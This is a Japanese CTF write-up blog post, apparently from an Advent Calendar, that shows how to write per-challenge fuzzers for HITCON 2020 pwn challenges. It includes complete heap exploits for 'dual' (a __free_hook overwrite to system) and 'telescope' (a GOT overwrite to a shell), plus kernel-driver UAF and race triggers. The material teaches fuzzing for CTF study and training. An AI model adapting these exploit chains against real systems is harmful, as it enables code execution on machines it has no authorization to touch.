- はじめに
- Fuzzingの概念
- なぜ自分でFuzzerを書くのか
- 実際に問題を解く
- ダメな例
- 結論
この記事はCTF Advent Calendarの15日目の記事で、内容はHITCON CTF 2020のwriteup的なものでもあります。 昨日は@akiko_pusuさんの「freeCodeCampからpicoCTFのはじめの一歩!」でした。 次はしばらく期間が空いて@moratorium08さんが最高の小ネタを書いてくれるでしょう。
悩んだ末にこのようなタイトルにしたのですが、今回の記事は「対CTF汎用Fuzzerを書く」という内容ではありません。 そんな夢のような物を期待してやってきた方はブラウザの左上の戻るボタンを押してください。さようなら。
また、Fuzzingにおけるmutationの戦略やfeedbackの利用方法などを知りたくてここに辿り着いた人も左上の戻るボタンを押してください。ここでお別れです。 Blackbox*1でランダムな入力しか与えません。
そして、この記事は初心者向けではありません。 いくらFuzzerでバグを見つけても、それを制御するには最低限の基礎能力が必要です。 楽してpwnが解けるようになると期待された方は残念ですが、右上の閉じるボタンを押してください。良いお年を。
さて、CTFのpwn問との向き合い方は人それぞれだと思います。 そもそも私はチーム内で誰もpwnerがいなかったという超受動的な理由でpwnをやっているので、pwnerの素質的なものを持ち合わせていません。 私がpwnを苦手とする理由には主に次の3つがあります。
3に関しては勉強しないとどうしようもないですし、House of XXXとかが現実的に役立つとは一切思っていないので勉強する気もないです。 2に関しては鬼のような特訓で克服しつつあります。 しかし、1に関してはどうにかする必要があります。
そこで、ここ数週間ですが試験的に導入しているのが「Fuzzerを利用して脆弱性を見つける」という手法です。 卒業研究でGrammar-Based Guided Fuzzingを研究していることもあり、導入直後から非常に多くの問題で圧倒的なパワーを出すことができました。
とはいえ適度な判断力と爆速💩ーディング力が要求されるので、真似して失敗しても自己責任でお願いします。
この辺の説明はざっくりなのでFuzzerのこと知っている人は飛ばしてください。
Fuzzingとは要するに「適当な入力を与え続ければいつか攻撃コードができるでしょ」という手法です。 よくpwn初心者の人がとりあえず初手「AAAAAAAAAAAAAAAAAAAAAAA....」って入力するあのノリです。
もちろん完全なexploitは生成されませんが、バイナリがクラッシュするような入力くらいなら見つけられるかもしれません。 「適当な入力」の作り方にもいろいろあります。 一般的な手法では、あるシード入力(普通にプログラムが動くような入力)を与え、そのバイナリを少しずつ変更したり、データを追加、削除したりして新しい入力を生成していきます。 このような操作をMutationと呼びます。
Mutationの戦略(どのように変更するか)にもいくつか種類がありますが、私はその辺に詳しくないので説明しません。 ただし、適当な入力をプログラムに与えたとき、そのプログラムからの出力を観測してMutationを決定することがあります。 この観測する出力をFeedbackと呼びます。 特に、Feedbackを利用して特定のパス、脆弱性などを見つけようと試みるFuzzerをGuided Fuzzerと呼びます。
最も一般的なGuided Fuzzerは、プログラム全体をまんべんなく検査するためのCoverage-Based Guided Fuzzerです。 Coverageとは、プログラム全体のうちFuzzingで到達できた場所(Basic Block)の割合です。 普通はプログラムの出力から、プログラム全体のどの部分を実行したかは判定できないため、Guided Fuzzerでは対象プログラムの方を予めいじっておく(計装する)必要があります。 例えばCoverage-Basedの場合、各Basic Blockの先頭に、そのBasic Blockを取ったフラグを立てるような処理を追加します。 (これはLLVM Pass等で中間言語に対して追加することが一般的です。)
今回CTF用に書くFuzzerはGuidedにする必要はありません。 なぜなら、多くの場合攻撃対象が小さかったり、脆弱性のありそうな場所が推測できるからです。 CTFのpwnableではcoverageを上げる必要はなく、むしろFuzzerの設計段階で特定の関数に必ず到達するような、より効率の良いFuzzerを書くことを目的とします。 脆弱性があるか分からない大規模プロジェクトに対してはこれができないのに対し、今回は脆弱性があることが分かっている上でサイズが小さいCTFのpwnに有効な特殊Fuzzerを書きます。
世の中には多くの優秀なFuzzerが出回っています。 最も代表的な例はAFLでしょう。
この記事のタイトルを見て、「AFLじゃダメなの?」と思った方も少なからずいると思います。 しかし、CTFで問題ごとにFuzzerを書くべき理由が5つあります。
- CTFの問題は自分でFuzzerを書けるほどシンプルなものが多い
- 複雑な入力形式に柔軟に対応できる
- 問題ごとにsyntaxやtypestate, semanticsなどを考慮したテストケースを書ける
- 特定のパスへの手動guided fuzzingが可能
- CTFの問題はソースコードが配布されていない場合が多い
私が一番最初にCTFでFuzzerを利用したのはCSAW CTF Qualification 2020のfeatherという問題です。 この問題はソースコードが配布されていたため、AFLを利用して脆弱性を見つけようとしました。 AFLによりクラッシュを多数見つけることができましたが、結局AFLでは問題の攻略に直接繋がるような糸口は見つかりませんでした。
ソースコードがあったにも関わらずAFLが力を発揮できなかった一番大きな理由は入力形式だったと思います。 このfeatherという問題はbase64形式でエンコードされたファイルシステムを入力として受け取るのですが、AFLにbase64文字列をmutationさせるのはいささか不穏です。 入力がbase64として不適当な文字列になっただけでプログラムの主要部分に到達せず終わるので、Mutationでは効率が良いとは言えません。 また、ファイルシステムという複雑な入力形式で、少し間違えただけでassertion errorに引っかかってしまい、それがcrashと判定されて大量のfalse positiveが生まれてしまいました。
このとき「自分でwrapper書けば良いんじゃね?」と思ったのがCTFでFuzzingを使い始めたきっかけです。
なんか理論とか説明するの面倒なので実践で説明します。 HITCON 2020では、自作fuzzerの力を借りて3つのpwnを解き、1つのpwnで脆弱性と方針を見つけて他の人に解いてもらい、1つのpwnでRIPを取るまでに至りました。 また、HITCONの問題はユーザーランドからカーネルランドまで幅広く出題されたため、今回はHITCONの問題を例にして自作fuzzerの実力を伝えようと思います。 ここに書いている問題以外にも、pbctfやASISの作問チェックなどで自作fuzzerは役に立っています。
dual - ユーザーランドプログラムのFuzzing
C++製バイナリが貰えます。とりあえずreversingすると、マーク・アンド・スイープ方式のガーベージコレクタが実装されていることが分かります。 この手の問題で最初にやるのは操作方法の確認です。
適当にreversingすると、このプログラムには7つの操作があることが分かります。
- Nodeを作る
- 2つのNodeを繋ぐ
- 2つのNodeを切る
- Nodeにデータを書き込む
- Nodeにデータを書き込んでbase64でエンコードする
- Nodeのデータを読む
- ガーベージコレクタを発火させる
まずはこれらに対応するpython側のwrapperを書きます。
def create_node(pred_id): sock.sendlineafter(">\n", "1") sock.sendlineafter(">\n", str(pred_id)) return int(sock.recvline()) def connect_node(pred_id, succ_id): sock.sendlineafter(">\n", "2") sock.sendlineafter(">\n", str(pred_id)) sock.sendlineafter(">\n", str(succ_id)) def disconnect_node(pred_id, succ_id): sock.sendlineafter(">\n", "3") sock.sendlineafter(">\n", str(pred_id)) sock.sendlineafter(">\n", str(succ_id)) def write_text(node_id, data): sock.sendlineafter(">\n", "4") sock.sendlineafter(">\n", str(node_id)) sock.sendlineafter(">\n", str(len(data))) sock.sendafter(">\n", data) def write_bin(node_id, data): sock.sendlineafter(">\n", "5") sock.sendlineafter(">\n", str(node_id)) sock.sendlineafter(">\n", str(len(data))) sock.sendafter(">\n", data) def read_text(node_id): sock.sendlineafter(">\n", "6") sock.sendlineafter(">\n", str(node_id)) text = sock.recvuntil("op>\n") sock.unget(">\n") return text[:-4] def gc(): sock.sendlineafter(">\n", "7")
ここまでできたらFuzzerを書く準備は完了です。 このwrapperはsyntax(構造)とsemantics(意味)の正しさを保証してくれます。 もしランダムな入力を与えていれば、メニューで間違った番号や数字ですらない文字を与えてしまい、プログラムが終了します。 syntaxとsemanticsを守ることで、長期間に渡ってfuzzerを走らせ続けることができ、結果としてcoverageの向上やバグ発見までの時間短縮に繋がります。
Step 1. Fuzzerの方針を立てる
基本方針は非常に単純で、プログラムが提供する7つの操作をランダムに発動させるだけです。
しかし、間違ったノードを選択してもinvalidと言われてしまうので、今回はそれを避けるようにします。 例えば、ノードを切断するには、そのノードが既に別のノードと接続されている必要があります。 HITCON中には次のような状態管理クラスを作りました。
node_id = 0 class Node(object): def __init__(self): global node_id self.links = set() self.nid = node_id node_id += 1 def link(self, i): self.links.add(i) def unlink(self, i): self.links.discard(i) def update_available(available, root, flags): if root in flags: return available.add(root) flags.append(root) for node in root.links: update_available(available, node, flags) import random root = Node() available = set()
availableには現在freeされていないノードが残ります。 このようにプログラム側の状態(type-state)をfuzzer側でも保持しておくことで、効率的にバグを見つけられます。
ただし、「プログラムが正しく動くように」しすぎるのはダメです。 そもそもバグを発見しようとしているのに、クラッシュしないようにしすぎるのは本末転倒です。 例えばdouble freeを見つけたいなら、次のようなtype-state*2に沿って入力をguideする必要があります。
要するに、fuzzer側でノードがcreate後にdeleteされたかを見て、double freeを試みる入力を与える、という感じです。 この辺の火加減が非常に厄介なので、pwnに慣れていない人がCTFでfuzzerを使うのは困難だと思います。終了。
さて、今回は↑のようにUAFやdouble freeを起こすtype-stateは考えません。 理由は2つあり、まず1つはreversingの段階でUAFやdouble freeは単純には起こせなさそうと判断したからです。 今回のノードはすべてガーベージコレクタで管理されており、リンクを切ったところですぐにはfreeされません。 そのノードを指すポインタが無くなったらfreeされます。 2つ目は、この問題がガーベージコレクタを採用しているという点です。 わざわざGCを作ったということは、そこに脆弱性がある可能性が高いですから、そこを狙うfuzzerを書いた方が確実です。
そんなこんなで次のようなfuzzerが出来上がります。
while True: available = set() flags = [] update_available(available, root, flags) r = random.randrange(0, 7) if r == 0: parent = pickup() node = Node() parent.link(node) print(f"create_node({parent.nid})") if create_node(parent.nid) > 100: print("[-] Too large") exit() elif r == 1: src, dst = pickup(), pickup() print(f"connect_node({src.nid}, {dst.nid})") connect_node(src.nid, dst.nid) src.link(dst) elif r == 2: src = pickup() if len(src.links) == 0: continue dst = random.choice(list(src.links)) print(f"disconnect_node({src.nid}, {dst.nid})") disconnect_node(src.nid, dst.nid) src.unlink(dst) elif r == 3: target = pickup() data = craft() print(f"write_text({target.nid}, {data})") write_text(target.nid, data) elif r == 4: target = pickup() data = craft() print(f"write_bin({target.nid}, {data})") write_bin(target.nid, data) elif r == 5: target = pickup() print(f"read_text({target.nid})") read_text(target.nid) elif r == 6: print("gc()") gc()
ここで最大ノードIDを100に限定しているのは、テストケースをなるべく小さくするためです。 実際には無制限で走らせ、何イテレーションくらい回せばクラッシュするかを見て、なるべく小さいテストケースになるように閾値を下げます。
何回か走らせると、次のように途中でプログラムが停止します。
... connect_node(2, 19) gc() disconnect_node(4, 7) connect_node(8, 9) read_text(6) create_node(17) gc() create_node(4) connect_node(14, 10) create_node(8)
ログを見ると、攻撃対象のプログラムが何らかの原因でクラッシュしたことが分かります。
[140490.484678] dual-2df8d4005c[5256]: segfault at 0 ip 000000000040468b sp 00007fffffffd7f0 error 4 in dual-2df8d4005c5d4ffc03183a96a5d9cb55ac4ee56dfb589d65b0bf4501a586a4b0[404000+c1000] [140490.484682] Code: 00 48 8b 0d 0f 4b 11 00 eb b5 80 35 3e 4a 11 00 02 5b c3 e8 c7 fa ff ff 0f 1f 80 00 00 00 00 41 57 41 56 41 54 53 50 49 89 fe <48> 39 37 74 70 48 8b 05 29 4a 11 00 49 39 46 38 74 60 49 89 46 38
NULL pointer dereferenceはあまり使えないことが多いので、なるべくgeneral protection fault等が当たるまで回し続けましょう。
Step 2. テストケースを最適化する
さきほど見つけたクラッシュまでには数百回の操作が実行されています。
それでも良いのですが、関係ない入力はなるべく消したいです。
実行する操作を試しに減らすと、 disconnect_node
と read_text
はなくてもクラッシュすることが分かります。(この辺が楽なのも自作するメリットですね。)
これにより数十回の操作でクラッシュするようなテストケースが作れます。 競技中には次のようなテストケースを見つけました。
これは先程の例と違って write_text
で書き込んだデータの一部がアドレスとして認識されていたようです。
次は1操作単位で削っていき、最終的に次のような洗練されたテストケースが出来上がります。(この辺は匠の技です。)
create_node(0) create_node(0) write_text(0, b'A') write_text(1, b'A') write_text(2, b'A') create_node(1) create_node(3) create_node(0) write_bin(1, b'') gc() create_node(5) create_node(0) write_bin(2, b'A') create_node(4) create_node(7) write_text(7, b'AAAAAAAA') gc() write_text(3, b'AAAAAAAA') write_text(2, b'AAAAAAAA') fake_chunk = p64(0xffffffffaaaaaaaa) fake_chunk += p64(0xffffffffbbbbbbbb) fake_chunk += p64(0xffffffffcccccccc) fake_chunk += p64(0xffffffffdddddddd) fake_chunk += p64(0xffffffffeeeeeeee) write_text(4, fake_chunk) create_node(9)
この時点で「何か知らんけど偽のノードが作れる」ということが分かりました。
Step 3. 問題を解く
もちろんまだ何が脆弱性かも何でfake nodeが作れたのかも知りません。 しかし「特定の操作をすると偽のノードが扱える」というブラックボックスがあるものと仮定すれば十分です。
最終的なexploitは次のようになりました。 結局何が脆弱性かも知らないまま非常に簡単に解けましたね。
create_node(0) create_node(0) write_text(0, b'A') write_text(1, b'A') write_text(2, b'A') create_node(1) create_node(3) create_node(0) write_bin(1, b'') gc() create_node(5) create_node(0) write_bin(2, b'A') create_node(4) create_node(7) write_text(7, b'AAAAAAAA') gc() write_text(3, b'AAAAAAAA') write_text(2, b'AAAAAAAA') fake_chunk = p64(0xdead) fake_chunk += p64(12) fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(0x80) fake_chunk += p64(1) fake_chunk += p64(0) write_text(4, fake_chunk) heap_base = u64(read_text(0xdead)[0x10:0x18]) - 0x120f0 logger.info("heap = " + hex(heap_base)) write_text(6, b"X" * 0x430) write_bin(6, b"") gc() fake_chunk = p64(0xdead) fake_chunk += p64(12) fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(0x100) fake_chunk += p64(11) fake_chunk += p64(0) write_text(4, fake_chunk) libc_base = u64(read_text(0xdead)[0xa0:0xa8]) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) write_text(5, b"X" * 0x10) write_text(6, b"X" * 0x10) write_text(7, b"X" * 0x10) write_text(6, b"X" * 0x20) write_text(7, b"X" * 0x20) gc() fake_chunk = p64(0xdead) fake_chunk += p64(12) fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(0x100) fake_chunk += p64(12) fake_chunk += p64(0) write_text(4, fake_chunk) payload = fake_chunk payload += p64(0) + p64(0x21) payload += p64(libc_base + libc.symbol("__free_hook")) write_text(0xdead, payload) X = create_node(0) Y = create_node(0) write_text(X, "/bin/sh\0") write_text(Y, p64(libc_base + libc.symbol("system"))) sock.sendlineafter(">\n", "4") sock.sendlineafter(">\n", str(X)) sock.sendlineafter(">\n", str(0x123))
spark - カーネルドライバのFuzzing
次はカーネルドライバのfuzzingです。 これもやることはdualと変わりません。 というかこれ以降dualと同じでwrapper書く→ランダムな入力を与える→クラッシュしたら最小化する→解くのパターンなので説明も省略気味になります。 (別に研究とゼミに追われて時間がないとかでは)
Step 1. Fuzzerの方針を立てる
本来ならカーネルドライバの解析から始めますが、嬉しいことにdemo.cなるファイルが渡されて、ドライバの使い方が例示されています。 一応ドライバも軽く読むと、demo.cには無い操作がioctlで使えることが分かるので、それもfuzzerに追加します。 ここでその操作が何をやるかは分かっていませんし、分かる必要もありません。 (とはいえ真面目に解析していたチームメンバーの方が何やるかを教えてくれていたので関数名はちゃんと付けました。)
さて、今回は次の4つの操作が可能です。
- デバイスドライバを開く(開き直す)
- fd(ノード)間をリンクする
- 最短経路を計算する
- ノード間の最短経路の計算結果を取得する
- なんかの情報を取得する(getinfo、これが中身分かってないやつ)
fuzzerはこれだけです。
while(1) { switch(rand() % 8) { case 0: t = rand() % N; close(fd[t]); fd[t] = open(DEV_PATH, O_RDWR); break; case 1: case 2: link_(rand() % N, rand() % N, rand()); break; case 3: case 4: query(rand() % N, rand() % N); break; case 5: case 6: getinfo(rand() % N); break; case 7: finalize(rand() % N); break; } }
これを走らせると簡単にカーネルがクラッシュします。
Step 2. 再現性のあるテストケースを見つける
ここで問題が発生します。 dualと同じようにテストケースを小さくしていると、ある時はクラッシュするけどたまにクラッシュしないみたいな状況が発生します。 すなわちテストケースに再現性がないのです。
通常こういった問題はraceで発生します。 しかし今回はシングルスレッドで動かしている上、カーネルドライバ側でworkerが走るような処理も見当たりません。
結論を言うと、この問題の脆弱性はUse after Freeでした。 したがって、free後にそのチャンクが使われて別のデータが入ると、use時にクラッシュする可能性もクラッシュしない可能性もあります。 カーネルランドですので、同じslabをいろんなプログラムが使うわけで、同じコードを実行しても同じ結果になるとは限らない訳ですね。
そんなこんなで次のようなコードでクラッシュできることが分かりました。
link_(0, 1, 0xdeadbeef); close(fd[0]); fd[0] = open(DEV_PATH, O_RDWR); finalize(1);
Step 3. 問題を解く
あとはUAFを利用する......のですがこれにはNodeがどう表現されているかをreversingする必要がありました。 そのため、競技中にカーネルドライバを真面目に読んでくれていた方に投げて残りのexploitパートはやってもらいました。
atoms - カーネルドライバのFuzzing(マルチスレッド)
またもやカーネルドライバの脆弱性です。 これは最もfuzzerが上手く機能した例と言えるでしょう。
問題としてはspark同様カーネルドライバがあるのですが、フラグの取得方法が特殊です。
diff --git a/kernel/watchdog.c b/kernel/watchdog.c index 7110906..beeb01f 100644 --- a/kernel/watchdog.c +++ b/kernel/watchdog.c @@ -409,9 +409,12 @@ static enum hrtimer_restart watchdog_timer_fn(struct hrtimer *hrtimer) } } +#ifndef FLAG + #define FLAG "hitcon{<FLAG WILL BE HERE>}" +#endif pr_emerg("BUG: soft lockup - CPU#%d stuck for %us! [%s:%d]\n", smp_processor_id(), duration, - current->comm, task_pid_nr(current)); + FLAG, task_pid_nr(current)); print_modules(); print_irqtrace_events(current); if (regs)
つまりwatchdogが怒る程度にカーネルをハングさせれば勝ちです。
Step 1. Fuzzerの方針を立てる
いつもどおりwrapperを書いて
static void alloc(long size) { struct atoms_ioctl_alloc arg = { .size = size * 0x1000, }; printf("alloc(%ld) == ", size * 0x1000); int r = ioctl(fd, ATOMS_ALLOC, &arg); printf("%d\n", r); } static void release() { printf("release() == "); int r = ioctl(fd, ATOMS_RELEASE); printf("%d\n", r); } static void use_token(long token) { printf("use_token(%ld) == ", token); int r = ioctl(fd, ATOMS_USE_TOKEN, token); printf("%d\n", r); } static void map(long size, long addr) { printf("map(0x%lx, 0x%lx) == ", size, addr); void *ptr = mmap(addr*0x1000, size*0x1000, PROT_WRITE, MAP_SHARED, fd, 0); printf("%p\n", ptr); }
ランダムな操作を走らせます。 残念ながらそれではクラッシュしなかったので、今度はマルチスレッドにします。(カーネルランドの場合は諦めずにマルチスレッドも試しましょう。)
void *f1(void *arg) { while(1) { alloc(rand() % 0x11); usleep(100); } return NULL; } void *f2(void *arg) { while(1) { use_token(rand() % 0x1000); usleep(100); } return NULL; } void *f3(void *arg) { while(1) { release(); usleep(100); } return NULL; } ... pthread_create(&t1, NULL, f1, NULL); pthread_create(&t2, NULL, f2, NULL); pthread_create(&t3, NULL, f3, NULL); while(1) { map(rand() % 0x1000, rand() % 0x11); usleep(1000); }
これを走らせるとやはり原因は知らんけどカーネルがハングします。 そして10秒待つとフラグが出てきます。(alarmを付けて12秒くらいで復帰するようにした。)
Step 2. 問題を解く
Step 1で解けました。めでたしめでたし。 解くのに15分もかかってないと思う。
cgi - CGIのFuzzing
Apacheで謎のCGIが動いている問題です。
残念ながらこの問題は競技中に解けませんでした。
まぁ99%解けたみたいなもので、あとは環境依存の問題だったのでfuzzパートだけ説明します。
この問題、常設CTFで使い回しされるみたいなのでやっぱり詳細は公開できませんm( )m
Step 1. Fuzzerの方針を立てる
この問題はreversingが必要です。残念。 【削除済み】を使えるようになります。 【削除済み】を調べ、web担当に投げると【削除済み】という答えが返ってくるのでそれを利用しましょう。
この問題はサーバー側で
【削除済み】
といったことをしています。
今回はapacheが対象ですので、正しいHTTPリクエストを送ることがまずsyntaxを守るために要求されます。 そして、POSTするデータは「【削除済み】」である必要があります。 いままではランダムなバイト列をデータとしていましたが、今回はランダムなオブジェクトをデータとします。
要するにランダムなJSONを作れば良いので、競技中は次のような単純な生成器を書きました。
def create_structure(max_depth=5): if max_depth == 0 or (max_depth != 5 and random.random() < 0.5): T = random.randrange(0, 4) if T == 0: return random.choice([True, False]) elif T == 1: return random.uniform(-1000.0, 1000.0) elif T == 2: return random.randint(-100000, 100000) elif T == 3: return randbytes(0x10) else: T = random.randrange(0, 2) if T == 0: obj = {} for i in range(random.randint(0, (6-max_depth) * 5)): obj[randbytes(0x10)] = create_structure(max_depth-1) elif T == 1: obj = [] for i in range(random.randint(0, (6-max_depth) * 5)): obj.append(create_structure(max_depth-1)) return obj
これを投げ、今回はステータスコードを見てクラッシュしたかを確認します。
【削除済み】
これを少し走らせると、クラッシュが見つかります。 クラッシュメッセージには、スタック外参照とgeneral protection faultの2種類があるのでgeneral protection faultの方のテストケースを見ましょう。
Step 2. 解きたい
なんか作問者の人がpwnable.twに使い回すみたいなこと言ってたので脆弱性の原因とか解法は共有しません。
telescope - Fuzzingの結果から攻略法を考え直す
protobufを利用するバイナリの問題です。 Reversingが必要ですが、そんなに重たくありません。
Step 1. Fuzzerの方針を立てる
いつもどおりwrapperを書きます。
def new_slot(slot, size): sock.sendlineafter(">\n", "1") sock.sendlineafter(">\n", str(slot)) sock.sendlineafter(">\n", str(size)) def write_slot(slot, data): sock.sendlineafter(">\n", "2") sock.sendlineafter(">\n", str(slot)) sock.sendafter(">\n", data) def delete_slot(slot): sock.sendlineafter(">\n", "3") sock.sendlineafter(">\n", str(slot)) def telescope(slot): sock.sendlineafter(">\n", "4") sock.sendlineafter(">\n", str(slot)) def show_slot(slot): sock.sendlineafter(">\n", "5") sock.sendlineafter(">\n", str(slot)) l = sock.recvuntil("op>\n")[:-4] sock.unget("op>\n") return l
今回は何を検査したいかと言うと、もちろんprotobufを利用している箇所です。 普通のヒープ問っぽい問題にわざわざprotobufが組み込まれているのですから、そこに脆弱性があるに決まっています。
Reversingの結果から、protobufで定義されたプロトコルに従ったデータを展開し、それをまたprotobuf形式にした際に元よりもデータ量が増えていればヒープオーバーフローが発生することが分かります。 protobufを何も知らなかったのでそのようなことができるか不明でした。 そこで、特定の入力でデータ量が増えないかを確認するため、今回は次のようなfuzzerを書きました。
import random while True: t = Telescope() for i in range(random.randrange(0, 0x100)): t.lens.append(random.randrange(0, 0x100000000)) t.password = 0xdeadbeef payload = t.SerializeToString() print(hex(len(payload)), payload) new_slot(0, len(payload)) write_slot(0, payload) telescope(0) r = show_slot(0) if len(r) != len(payload): print("[!] ALERT") print(hex(len(r)), r) print(t) input("> ") delete_slot(0)
やっていることは今までと少し違い、入力したサイズと、展開後に圧縮したサイズが異なればアラートを出します。
Step 2. 入力形式を再考する
残念ながらこれではクラッシュしません。 一応いままでと同じようにランダムな操作をするfuzzerも書きましたが、やはりクラッシュしません。 したがって、これはバイナリ側の欠陥というより、protobufの謎仕様を使ってやる必要がありそうです。
そこで、protobufの仕様書を読みに行きます。 すると、"Packed Repeated Fields"というものがあり、何やらメッセージを圧縮できそうだと分かります。 次のようにプロトコルを変更して再度fuzzerを走らせます。
syntax = "proto2"; message Telescope { repeated int64 lens = 1 [packed=true]; optional int64 password = 2; }
すると、一瞬でバグを発見します。
$ LD_PRELOAD=./libprotobuf.so.17 socat TCP-L:9999,reuseaddr,fork EXEC:./telescope free(): invalid next size (normal) 2020/12/15 00:27:56 socat[8191] E waitpid(): child 8192 exited on signal 6
Step 3. 問題を解く
解析すると予想通りヒープオーバーフローが発生することが分かります。 あとは都合の良いパケットを作って偽の巨大チャンクをfreeし、適当にoverlapを作れば解けます。
from ptrlib import * from telescope_pb2 import Telescope def proto_unpack(v): bins = '' assert v[0] == 0x08 for c in v[1:]: x = bin(c)[2:].zfill(8) bins = x[1:] + bins if x[0] == '0': break return int(bins, 2) def new_slot(slot, size): sock.sendlineafter(">\n", "1") sock.sendlineafter(">\n", str(slot)) sock.sendlineafter(">\n", str(size)) def write_slot(slot, data): sock.sendlineafter(">\n", "2") sock.sendlineafter(">\n", str(slot)) sock.sendafter(">\n", data) def delete_slot(slot): sock.sendlineafter(">\n", "3") sock.sendlineafter(">\n", str(slot)) def telescope(slot): sock.sendlineafter(">\n", "4") sock.sendlineafter(">\n", str(slot)) def show_slot(slot): sock.sendlineafter(">\n", "5") sock.sendlineafter(">\n", str(slot)) l = sock.recvuntil("op>\n")[:-4] sock.unget("op>\n") return l libc = ELF("./libc-2.31.so") elf = ELF("./telescope") sock = Socket("nc 13.112.193.37 8573") logger.info("consume bins") [new_slot(0x010, 0x0b8) for i in range(0+3)] [new_slot(0x020, 0x0e8) for i in range(6+4)] [new_slot(0x030, 0x0f8) for i in range(0+1)] [new_slot(0x040, 0x108) for i in range(3+0)] [new_slot(0x050, 0x118) for i in range(0+1)] [new_slot(0x060, 0x128) for i in range(0+1)] [new_slot(0x070, 0x148) for i in range(0+1)] [new_slot(0x080, 0x158) for i in range(0+1)] [new_slot(0x090, 0x178) for i in range(0+2)] [new_slot(0x0a0, 0x1a8) for i in range(0+2)] [new_slot(0x0b0, 0x1d8) for i in range(0+2)] [new_slot(0x0c0, 0x208) for i in range(1+2)] [new_slot(0x0d0, 0x238) for i in range(0+1)] [new_slot(0x0e0, 0x258) for i in range(0+1)] [new_slot(0x0f0, 0x268) for i in range(0+1)] [new_slot(0x100, 0x298) for i in range(0+3)] [new_slot(0x110, 0x2c8) for i in range(0+1)] [new_slot(0x120, 0x2f8) for i in range(0+1)] [new_slot(0x130, 0x4b8) for i in range(0+1)] [new_slot(0x140, 0x5f8) for i in range(0+1)] [new_slot(0x150, 0x638) for i in range(0+1)] [new_slot(0x160, 0x678) for i in range(0+1)] [new_slot(0x170, 0x6f8) for i in range(0+2)] [new_slot(0x180, 0xa38) for i in range(0+1)] [new_slot(0x190, 0xab8) for i in range(0+1)] [new_slot(0x1a0, 0xc38) for i in range(0+1)] [new_slot(0x1b0, 0x138) for i in range(1)] logger.info("consume bins for 0x18") [new_slot(0x010, 0x018) for i in range(1+8)] [new_slot(0x020, 0x028) for i in range(5+27)] [new_slot(0x030, 0x048) for i in range(6+1)] [new_slot(0x040, 0x088) for i in range(5+4)] [new_slot(0x050, 0x098) for i in range(0+1)] logger.info("feng shui") new_slot(0, 0xb8) new_slot(1, 0xc8) new_slot(2, 0x18) new_slot(3, 0x18) new_slot(4, 0xe8) delete_slot(0) logger.info("abuse telescope") t = Telescope() for i in range(0x16): t.lens.append(0xdeadcafebabe) t.lens.append(0xadcafebabe) t.lens.append(proto_unpack(p64(0x18108))) t.password = 0xdeadbeef payload = t.SerializeToString() new_slot(0, len(payload)) write_slot(0, payload) telescope(0) fake_chunk = b'A' * 0x60 fake_chunk += p64(0) + p64(0x21) fake_chunk += p64(0) * 2 fake_chunk += p64(0) + p64(0x21) fake_chunk += b'A' * (0xe8 - len(fake_chunk)) write_slot(4, fake_chunk) delete_slot(3) delete_slot(2) delete_slot(1) logger.info("link corruption") new_slot(1, 0x178) fake_chunk = b'B' * 0xc0 fake_chunk += p64(0) + p64(0xe1) fake_chunk += p64(elf.got("free")) fake_chunk += b'B' * (0x178 - len(fake_chunk)) write_slot(1, fake_chunk) new_slot(2, 0x18) new_slot(3, 0x18) payload = p64(elf.plt("printf")) payload += p64(0xffffffffdeadbeef) + p64(0xffffffffcafebabe) write_slot(3, payload) payload = "%{}$p\n".format(0x11 + 6) new_slot(777, len(payload)) write_slot(777, payload) delete_slot(777) libc_base = int(sock.recvline(), 16) - libc.symbol("__libc_start_main") - 0xf3 logger.info("libc = " + hex(libc_base)) payload = p64(libc_base + libc.symbol("system")) payload += p64(0xffffffffdeadbeef) + p64(0xffffffffcafebabe) write_slot(3, payload) write_slot(2, "/bin/sh\0" + "A"*0x10) delete_slot(2) sock.interactive()
最後に自作fuzzerが役に立たなかった事例を挙げ、読者の方に「なんだ。やっぱり試す価値ないな。」と思わせて終わりにします。
Apoche II - pbctf 2020
fuzzerが書きにくい典型的な例の問題です。
よくある自作HTTPサーバー問題ですが、ソースコードは配布されておらずバイナリも割とでかいです。 次のようなfuzzerを書きましたが、クラッシュは発生しませんでした。
while True: sock = Socket("localhost", 1337) url = b'/'.join([rndstr(random.randrange(1, 0x10)) for i in range(random.randrange(1, 100))]) payload = b"GET " + url + b" HTTP/1.1\r\n" payload += b"Host: localhost:1337\r\n" for i in range(random.randrange(1, 10)): payload += rndstr(4) + b": " payload += rndstr(random.randrange(1, 0x1000)) + b"\r\n" sock.send(payload + b"\r\n") l = sock.recvline() if b'404' in l: print("[+] Not Found") else: print(payload) print(l) input() sock.close()
クラッシュしなかったので早々に切り上げて別の問題を解いていたのですが、結果としてこの問題は0 solveだったのである意味ではfuzzerが役に立ちました。
TODO List - pbctf 2020
fuzzerを使うよりも脆弱性を手で見つける方が簡単な例です。
よくあるヒープ問です。ノートの状態に注意して次のようなfuzzerを書きました。
TODO = [[] for i in range(NUM_CATEGORY)] sock = Process("./todo") while True: category = random.randrange(0, NUM_CATEGORY) choice = random.randrange(0, 3) if choice == 0: TODO tasks = [randstr(random.randint(1, 0x100)) for i in range(random.randint(1, 10))] print(f"add({category}, {tasks})") add(category, tasks) TODO[category] += list(tasks) elif choice == 1: if len(TODO[category]) > 0: print(f"view({category})") view(category) elif choice == 2: if len(TODO[category]) > 0: target = random.sample(TODO[category], random.randint(1, len(TODO[category]))) removes = [TODO[category].index(x)+1 for x in target] print(f"finish({category}, {removes})") finish(category, removes) for x in target: TODO[category].remove(x)
実行結果としては次のように一瞬でクラッシュしました。
